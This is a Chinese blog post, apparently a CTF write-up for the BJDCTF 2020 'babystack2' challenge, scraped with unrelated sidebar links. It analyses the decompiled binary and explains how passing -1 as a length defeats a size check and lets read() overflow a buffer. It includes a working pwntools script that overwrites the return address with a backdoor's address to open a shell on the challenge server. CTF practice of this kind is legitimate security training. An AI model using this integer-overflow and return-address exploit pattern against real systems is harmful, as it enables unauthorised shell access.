当前位置:网站首页>【CTF】bjdctf_2020_babystack2
【CTF】bjdctf_2020_babystack2
2022-07-02 00:17:00 【delta_hell】
題目分析
反編譯,查找漏洞
main函數:
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_004009c1,&local_c);
if (10 < (int)local_c) {
puts("Oops,u name is too long!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
backdoor函數:
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
題目意思很明顯了,後門函數已經提供了,只要能跳過去就行了。
再看main函數,read函數很明顯就是個利用點,利用變量local_c就可以制造溢出。
當然,不會這麼簡單,前面有長度限制的判斷
if (10 < (int)local_c)
不過,這個也簡單,對不對?整型溢出啊,整一個負數,直接就成了啊~~~
事實證明,思路完全正確,但是過程太曲折,簡單描述下:
本機溢出會失敗,在ubuntu上,輸入-1,read時會直接返回;在windows上實驗,輸入-1,read會彈出窗,提示
buf len < INT_MAX條件不滿足,這下很明顯了,read有輸入限制。又研究了很久,發現無解,因為要過長度限制,
必須使用負數,否則不能溢出,而即使INT_MIN,轉換為無符號數,仍為2147483648,還是> INT_MAX;一時間
搞的我懷疑人生。
解題思路
思路就是上面題目分析的過程,完全正確,直接拿靶機驗證是OK的,-1能過長度限制,同時read不報錯(欲哭無淚)
from pwn import *
sh = connect("node4.buuoj.cn",27462)
sh.recvuntil("name:\n")
print("recv name length")
sh.sendline('-1'.encode())
print("send name length")
sh.recvline()
pad = 'A'*24
payload = pad.encode() + p64(0x00400726)
sh.sendline(payload)
sh.interactive()
沒法本地驗證導致的後果,就是溢出長度是猜出來的。
總結
思路沒毛病的時候,及時測靶機。不過調一調本機還是有意思的,雖然沒找到最終結果,比如ubuntu上,寫了一個測試demo,去掉長度驗證,結果read只要不大於3652就沒問題,超過時errno就會報Bad address,跟windows上還不一樣,但是3652這個值感覺沒有任何意義,又懷疑人生了~~~下班了不糾結了,後面有調glibc的機會時候再看看。
边栏推荐
- Graduation season is both a farewell and a new beginning
- Asp .NetCore 微信订阅号自动回复之文本篇
- SQL Server 安装指南
- GaussDB(for MySQL) :Partial Result Cache,通过缓存中间结果对算子进行加速
- Dongge cashes in and the boss retires?
- 时间复杂度与空间复杂度
- SQL数据分析之流程控制语句【if,case...when详解】
- 北京炒股开户选择手机办理安全吗?
- Jielizhi, production line assembly link [chapter]
- Ldr6035 smart Bluetooth audio can continuously charge and discharge mobile devices
猜你喜欢
[QT] qtcreator uninstall and installation (abnormal state)
Qt5.12.9 migration tutorial based on Quanzhi H3
LeetCode中等题题分享(5)
数据分析方法论与前人经验总结【笔记干货】
牛客-练习赛101-推理小丑
GCC compilation
【QT】對於Qt MSVC 2017無法編譯的問題解决
It's nothing to be utilitarian!
下载在线视频 m3u8使用教程
Selectively inhibiting learning bias for active sampling
随机推荐
Is it safe to buy funds on Great Wall Securities?
基于全志H3的QT5.12.9移植教程
回顾数据脱敏系统
[QT] qtcreator uninstall and installation (abnormal state)
Leetcode medium question sharing (5)
SQL数据分析之流程控制语句【if,case...when详解】
北京炒股开户选择手机办理安全吗?
I would like to ask, which securities is better for securities account opening? Is it safe to open a mobile account?
【QT】测试Qt是否能连接上数据库
二叉搜索树的创建,查找,添加,删除操作
Niuke - Practice 101 - reasoning clown
Talents come from afar, and Wangcheng district has consolidated the intellectual base of "strengthening the provincial capital"
关联性——组内相关系数
Using multithreaded callable to query Oracle Database
Comprehensive usage and case questions of sub query of SQL data analysis [patient sorting]
What is ThreadLocal memory leak and how to solve it
微信小程序缓存过期时间的相关设置(推荐)
Linux centos7 installation Oracle11g super perfect novice tutorial
Windows 7 install MySQL error: 1067
Qt5.12.9 migration tutorial based on Quanzhi H3